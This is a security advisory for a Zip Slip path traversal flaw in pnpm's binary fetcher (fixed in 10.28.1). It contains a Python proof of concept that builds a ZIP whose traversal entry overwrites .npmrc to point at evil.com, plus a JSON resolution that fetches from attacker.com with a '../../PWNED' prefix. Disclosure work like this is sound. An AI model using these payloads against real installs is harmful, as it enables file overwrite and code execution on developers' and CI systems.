GHSA-6pfh-p556-v868

Suggest an improvement
Source
https://github.com/advisories/GHSA-6pfh-p556-v868
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6pfh-p556-v868/GHSA-6pfh-p556-v868.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6pfh-p556-v868
Aliases
Downstream
Published
2026-01-26T21:02:49Z
Modified
2026-02-03T03:06:45.887995Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N CVSS Calculator
Summary
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

  • All pnpm users who install packages with binary assets
  • Users who configure custom Node.js binary locations
  • CI/CD pipelines that auto-install binary dependencies
  • Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Database specific
{
    "github_reviewed_at": "2026-01-26T21:02:49Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-23",
        "CWE-426"
    ],
    "github_reviewed": true,
    "severity": "MODERATE",
    "nvd_published_at": "2026-01-26T22:15:56Z"
}
References

Affected packages

npm / pnpm

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
10.28.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6pfh-p556-v868/GHSA-6pfh-p556-v868.json"